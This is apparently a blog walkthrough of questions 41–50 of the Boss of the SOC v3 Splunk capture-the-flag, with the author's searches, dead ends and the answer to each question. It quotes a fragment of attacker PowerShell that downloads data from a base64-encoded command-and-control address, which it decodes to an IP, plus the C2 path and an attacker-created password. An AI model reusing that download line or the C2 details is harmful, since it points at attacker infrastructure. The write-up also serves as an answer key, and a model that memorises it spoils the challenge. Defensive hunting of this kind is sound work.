Chris Long

12 minute read

Question 41 (315)

During the attack, two files are remotely streamed to the /tmp directory of the on-premises Linux server by the adversary. What are the names of these files? Answer guidance: Comma separated without spaces, in alphabetical order, include the file extension where applicable.

We know it’s likely that we’ll be able to find these files in the /tmp directory based on the question, so I’m going to start pretty broad here:

index=botsv3 earliest=0 /tmp/*.*

I immediately see some things I want to filter out:

index=botsv3 earliest=0 /tmp/*.* sourcetype!=ps sourcetype!=lsof NOT phpsessionclean

While reviewing some of the osquery data from the pack_fim_file_events query, I notice some interesting files in the “/tmp” directory that I want to investigate further:

I’ll investigate using:

index=botsv3 earliest=0 
colonel.c OR 
definitelydontinvestigatethisfile.sh OR 
loot.txt OR 
blargh.tgz OR 
suitecrm.sql

One of the resulting events has the following commandline value: cmdline: "tar" "czvf" "blargh.tgz" "suitecrm.sql" "loot.txt"

We can infer from this that blargh.tgz contains the contents of both suitecrm.sql and loot.txt based on the command syntax.

I decide to reverse the order of these results to find the earliest mention of these files and am met with gigantic blobs of Base64 being saved to files in /tmp/:

index=botsv3 earliest=0 colonel.c OR definitelydontinvestigatethisfile.sh OR loot.txt OR blargh.tgz OR suitecrm.sql | reverse

You can find the answer to this question by running that query and looking at what filenames the base64 blobs are being saved to in /tmp.

Question 41 answer:
colonel,definitelydontinvestigatethisfile.sh

Question 42 (316)

Based on the information gathered for question 314, what file can be inferred to contain the attack tools? Answer guidance: Include the file extension.

In this guide, question 314 is question 40.

Based on the data from question 40, we can simply look at the uri_path field and infer the filename from there:

index=botsv3 earliest=0 dest_port=3333

Question 42 answer:
logos.png

Question 43 (317)

What is the first executable uploaded to the domain admin account’s compromised endpoint system? Answer guidance: Include the file extension.

I’m going to start by seeing if I can definitively determine who is a domain admin by searching through the data.

Surprisingly nothing immediately came up which searching for:

index=botsv3 earliest=0  
"domain admin" OR 
"domain admins" OR 
"domain administrator" OR 
"domain administrators"

I checked the SID (S-1-5-21*-512) as well with no luck.

At this point, I’m going to assume BSTOLL is the domain admin based on his email correspondence and attempt to solve this question operating on that assumption.

We know the file was “uploaded” to the host, so I’m going to start by looking at network traffic, rather than on the host itself as I expect looking for executables on the host data to be extremely difficult. Maybe we can just find an .exe in the network traffic if we’re lucky:

index=botsv3 earliest=0 host=bstoll* sourcetype=stream:* *.exe

This initially shows a lot of UDP traffic, so let’s filter that:

index=botsv3 earliest=0 host=bstoll* sourcetype=stream:* *.exe protocol_stack!="ip:udp:unknown"

Looking at the question again, I think focusing purely on having .exe in the filename is too narrow. The stream sourcetype logs have a http_content_type field that should indicate the filetype regardless of the filename:

index=botsv3 earliest=0  host=bstoll* sourcetype=stream:*  protocol_stack!="ip:udp:unknown" http_content_type="application/octet-stream" 
| table site, uri_path

Nothing shakes out of this except legitimate Windows update traffic and Symantec AV updates.

I decide to just dig through sysmon command line events until I come across what looks like malicious activity and then work backwards. I start reading these events:

index=botsv3 earliest=0  host=bstoll-l source="WinEventLog:Microsoft-Windows-Sysmon/Operational" 
| table _time, CommandLine, Parent* 
| sort + _time

Unfortunately for me, a lot of these events got blocked by Windows:

I think think that maybe I should search for all unsigned binaries, since Sysmon lets us do that. I notice the signature_id field exists, but I’m not sure how to map those codes to meanings and for some reason that information doesn’t appear to be readily available on Google.

It seems clear to me that “1” probably means signed, so I’ll search everything except that:

index=botsv3 earliest=0 host=bstoll-l  source="WinEventLog:Microsoft-Windows-Sysmon/Operational" signature_id!=1 
| table _time, host, signature_id, Image, Hashes 
| dedup signature_id, Image 
| sort + _time

Nothing here works, so I decide to walk back my assumption that bstoll is the domain admin. I retry the query and remove that filter:

index=botsv3 earliest=0 source="WinEventLog:Microsoft-Windows-Sysmon/Operational" signature_id!=1 
| table _time, host, signature_id, Image, Hashes 
| dedup signature_id, Image 
| sort + _time

There’s only 67 results to review here, and after trying a few of the suspiciously named files, I got my correct answer from the FYODOR-L host:

index=botsv3 earliest=0 host=FYODOR-L source="WinEventLog:Microsoft-Windows-Sysmon/Operational" signature_id=3
| table _time, host, signature_id, Image, Hashes 
| dedup signature_id, Image 
| sort + _time
Question 43 answer:
hdoor.exe

Question 44 (318)

From what country is a small brute force or password spray attack occurring against the Frothly web servers?

This one seems more procedural. Let’s identify some web access log sourcetypes to begin with:

| tstats count where index=botsv3 by sourcetype, source | search source=*apache* OR source=*nginx* OR source=*http* OR source=*httpd* OR source=*iis*

I see some potentials: sourcetype=access_combined sourcetype=stream:http

Let’s start with Apache logs (access_combined). We know it’s coming from a country, so let’s start by filtering out RFC1918 addresses:

index=botsv3 earliest=0 sourcetype="access_combined" clientip!=10.0.0.0/8 clientip!=192.168.0.0/16 clientip!=172.16.0.0/12

That doesn’t leave us with much. I’m thinking we might need to use another sourcetype.

I figure most logins use “POST” requests and this would likely post to an endpoint containing “login”, so I try that:

index=botsv3 earliest=0 POST src_ip!=10.0.0.0/8 src_ip!=192.168.0.0/16 src_ip!=172.16.0.0/12

Still no dice.

I try searching for HTTP 401 and 403 events, thinking a failed login might generate those, but also no dice.

I then realize I completely missed ELB and S3 access logs, so I map all the external IP addresses to countries, but all I see is “United States” and that’s not the answer, either:

index=botsv3 earliest=0 source=s3://frothlyweblogs/* remote_ip!=10.0.0.0/8 remote_ip!=192.168.0.0/16 remote_ip!=172.16.0.0/12 \
| stats count by remote_ip 
| iplocation remote_ip

I check windows event logs as well to make sure there isn’t some webapp passing authentication requests to ActiveDirectory: index=botsv3 earliest=0 Source_Network_Address!=10.0.0.0/8 Source_Network_Address!=192.168.0.0/16 Source_Network_Address!=172.16.0.0/12 EventCode=4625

I’m out of ideas for now. I’ll revisit this one later.

OK, it’s later. Sometimes when I’m stuck, I find it helpful to explain to myself exactly why I’m finding something difficult. I think this question is difficult because:

  1. There are many different webservers that have log in many different places
  2. There is no obvious source of repeated login attempts on the sources that I have checked
  3. There are dozens of log sources that contain external IP addresses and many of them have different field names (e.g. clientip, src_ip, etc)
  4. It’s unclear if o365 login attempts would be considered “webserver” login attempts.

I hate to do it, but I’m going to a clue:

Use linux_secure as the sourcetype.

This definitely helps narrow things down, although I’m really surprised that webserver logs would be in that sourcetype…

UGH. It’s not that we’re looking for password spraying against the actual webserver, we’re looking for it against the hosts whose purpose is to be a webserver.

Finding password spraying against SSH is easy, let’s whip up a query. We see “invalid user x” in a lot of these entries because the attacker is guessing at which usernames exist, so let’s use that in our search criteria:

index=botsv3 earliest=0 sourcetype=linux_secure "invalid user" from

Great. Now we also know from Question 4 that the gacrux hosts are webservers. Let’s add that as a filter, too:

index=botsv3 earliest=0 sourcetype=linux_secure "invalid user" from host=gacrux*

Sorting the IP addresses by count shows us 2 results - src is the src_ip field here:

index=botsv3 earliest=0  sourcetype=linux_secure "invalid user" from host=gacrux* 
| top src

We can now use the iplocation command in Splunk to get the GeoIP location of these IP addresses:

index=botsv3 earliest=0  sourcetype=linux_secure "invalid user" from host=gacrux* 
| top src
| iplocation src

The answer is in the Country field.

Question 44 answer:
Russia

Question 45 (319)

The adversary created a BCC rule to forward Frothly’s email to his personal account. What is the value of the “Name” parameter set to?

I imagine creating a forwarding rule generates some type of event in Azure, so I decide to look at the ms:o365:management sourcetype:

index=botsv3 earliest=0 sourcetype=ms:o365:management

From there, I want to pivot on the Operation field:

index=botsv3 earliest=0  sourcetype=ms:o365:management 
| stats count by Operation

I see a New-TransportRule operation, so I’m going to pivot on that:

index=botsv3 earliest=0 sourcetype=ms:o365:management Operation="New-TransportRule"

This query leaves us with a single event, producing the answer in the Parameters{}.Value field.

Question 45 answer:
SOX

Question 4 (320)

What is the password for the user that was created on the compromised endpoint?

There were a few users created on a few different endpoints, so this isn’t super helpful. I recall svcvnc as being one of the accounts that was added from a past question, so I search for that first:

index=botsv3 earliest=0 svcvnc

The answer is in a few of the resulting 15 events in the CommandLine field.

Question 46 answer:
Password123!

Question 47 (321)

The Taedonggang adversary sent Grace Hoppy an email bragging about the successful exfiltration of customer data. How many Frothly customer emails were exposed or revealed?

I know I’m going to be searching through emails again, so I begin with this query:

index=botsv3 earliest=0 "grace hoppy" sourcetype!="ms:aad:signin"

Reading through email document bodies, you eventually come across:

Gracie, We brought your data and imported it: https://pastebin.com/sdBUkwsE

The pastebin is still live and contains what appears to be a sample of data. It’s unclear whether that pastebin contains all the stolen records or some of them. I’m going to count those and try that first (just in case), but I suspect this is going to make us look at database records for the real answer.

As it turns out, all you have to do is count the email addresses in the Pastebin.

Question 47 answer:
8

Question 48 (322)

What is the path of the URL being accessed by the command and control server? Answer guidance: Provide the full path. (Example: The full path for the URL https://imgur.com/a/mAqgt4S/lasd3.jpg is /a/mAqgt4S/lasd3.jpg)

Man, so much traffic to dig through. At this point, I’m going to point you to Jack Crook’s amazing writeup on beacon detection using this exact dataset: http://findingbad.blogspot.com/2020/05/hunting-for-beacons-part-2.html

We’re going to try to use his technique to solve this problem. We know that the URL contains a path, so it’s probably over HTTP or HTTPS. Let’s see if we can re-use his query to narrow this down.

I add the URI path in to his query because I know we’ll need it for the answer and also filter out internal dest_ips:

index=botsv3 earliest=0 sourcetype="stream:http" 
| stats count(bytes_out) as "beacon_count" values(bytes_in) as bytes_in by src_ip,dest_ip,bytes_out, uri_path 
| eventstats sum(beacon_count) as total_count dc(bytes_out) as unique_count by src_ip,dest_ip, uri_path 
| eval beacon_avg=('beacon_count' / 'total_count') 
| stats values(beacon_count) as beacon_count values(unique_count) as unique_count values(beacon_avg) as beacon_avg values(total_count) as total_count values(bytes_in) as bytes_in by src_ip,dest_ip,bytes_out,uri_path 
| eval incount=mvcount(bytes_in) 
| join dest_ip [|search index=botsv3 earliest=0 sourcetype=stream:http 
| stats values(login) as login by dest_ip,uri_path 
| eval login_count=mvcount(login)] 
| eventstats avg(beacon_count) as overall_average 
| eval beacon_percentage=('beacon_count' / 'overall_average') 
| table src_ip,dest_ip,bytes_out,beacon_count,beacon_avg,beacon_percentage,overall_average,unique_count,total_count,incount,login_count,uri_path 
| sort beacon_percentage desc 
| search dest_ip!=10.0.0.0/8 dest_ip!=172.16.0.0/12 dest_ip!=192.168.0.0/16

However, after digging through network traffic for awhile, I decide to look at the hints because none of my ideas are working:

Start with XmlWinEventLog:Microsoft-Windows-Sysmon/Operational as the sourcetype, or review the PowerShell logging on various Frothly laptops.

Oof. The URI is probably not in the network traffic, it’s probably in the powershell command itself.

This is our search now: index=botsv3 earliest=0 source="WinEventLog:Microsoft-Windows-PowerShell/Operational"

Only 90 events! We can filter out more:

index=botsv3 earliest=0 source="WinEventLog:Microsoft-Windows-PowerShell/Operational" Message!="PowerShell console*"

Down to 66. We know the powershell likely contains a path, so I think it’s best to search the events that have a / character in the Message field:

index=botsv3 earliest=0 source="WinEventLog:Microsoft-Windows-PowerShell/Operational" Message!="PowerShell console*" Message="*/*"

Down to 11! We see some references to a mediaplayer, a bit.ly url, then a nice scriptblock log of some executed powershell. There seem to be a bunch of these, but it looks like the URI is being stored in the $t variable in the powershell. Let’s use regex to pull these out:

index=botsv3 earliest=0 source="WinEventLog:Microsoft-Windows-PowerShell/Operational" Message!="PowerShell console*" Message="*/*" 
| rex field=Message "\$t\=[\'\"](?<c2_uri>[^\'\"]+)" 
| table c2_uri 
| dedup c2_uri

The answer is one of these!

Question 48 answer:
/admin/get.php

Question 49 (323)

At least two Frothly endpoints contact the adversary’s command and control infrastructure. What are their short hostnames? Answer guidance: Comma separated without spaces, in alphabetical order.

We know there are 3 potential URIs being used from the last question, let’s see if we can narrow down which hosts are beaconing:

index=botsv3 earliest=0 "/news.php" OR "/login/process.php" OR <REDACTED - Q48 answer>

However, we only see powershell events and no network traffic. I wonder why that is. I decide to reconstruct the entire URL. We know the $t variable is the URI, so let’s see how it’s being used:

$Wc.DoWnLoAdDATA($SeR+$t)

Ah, so $SeR is probably the domain. Where’s that?

$ser=$([TExT.ENcodIng]::UNicOde.GetStRinG([CONvErT]::FrOmBASe64StRInG('aAB0AHQAcABzADoALwAvADQANQAuADcANwAuADUAMwAuADEANwA2ADoANAA0ADMA')));

Easy enough:

$ echo 'aAB0AHQAcABzADoALwAvADQANQAuADcANwAuADUAMwAuADEANwA2ADoANAA0ADMA' | base64 -d
https://45.77.53.176:443

We aren’t seeing the URI because it’s going over HTTPS! However, we now have the destination IP, and we can use the sysmon index to help us here:

index=botsv3 earliest=0  DestinationIp=45.77.53.176 source="WinEventLog:Microsoft-Windows-Sysmon/Operational"

Solve this question by enumerating the hosts who have sent traffic to this destination IP address:

index=botsv3 earliest=0  DestinationIp=45.77.53.176 source="WinEventLog:Microsoft-Windows-Sysmon/Operational" 
| stats count by host
Question 49 answer:
ABUNGST-L,FYODOR-L

Question 50 (324)

Who is Al Bungstein’s cell phone provider/carrier? Answer guidance: Two words.

Hmm, I don’t know who Al is, so let’s start by searching for references to his name:

index=botsv3 earliest=0 "Al Bungstein" OR "abungstein" OR "Bungstein"

Awesome, looks like he’s a Frothly employee. I notice some of the events have a FromIP field and a SenderAddress field. Lets focus on the events were Al is the sender:

index=botsv3 earliest=0 "Al Bungstein" OR "abungstein" OR "Bungstein" SenderAddress="abungstein@froth.ly"

Ok, now let’s see where Al usually sends mail from:

index=botsv3 earliest=0  "Al Bungstein" OR "abungstein" OR "Bungstein" SenderAddress="abungstein@froth.ly" | stats count by FromIP

Only one IP address here.

A simple whois of this IP address gets us our answer:

$ whois 174.215.1.81
% IANA WHOIS server
% for more information on IANA, visit http://www.iana.org
% This query returned 1 object

refer:        whois.arin.net

inetnum:      174.0.0.0 - 174.255.255.255
organisation: ARIN
status:       ALLOCATED

whois:        whois.arin.net

changed:      2008-02
source:       IANA

# whois.arin.net

NetRange:       174.192.0.0 - 174.255.255.255
CIDR:           174.192.0.0/10
NetName:        WIRELESSDATANETWORK
NetHandle:      NET-174-192-0-0-1
Parent:         NET174 (NET-174-0-0-0-0)
NetType:        Direct Allocation
OriginAS:
Organization:   <REDACTED>
Question 50 answer:
Verizon Wireless
comments powered by Disqus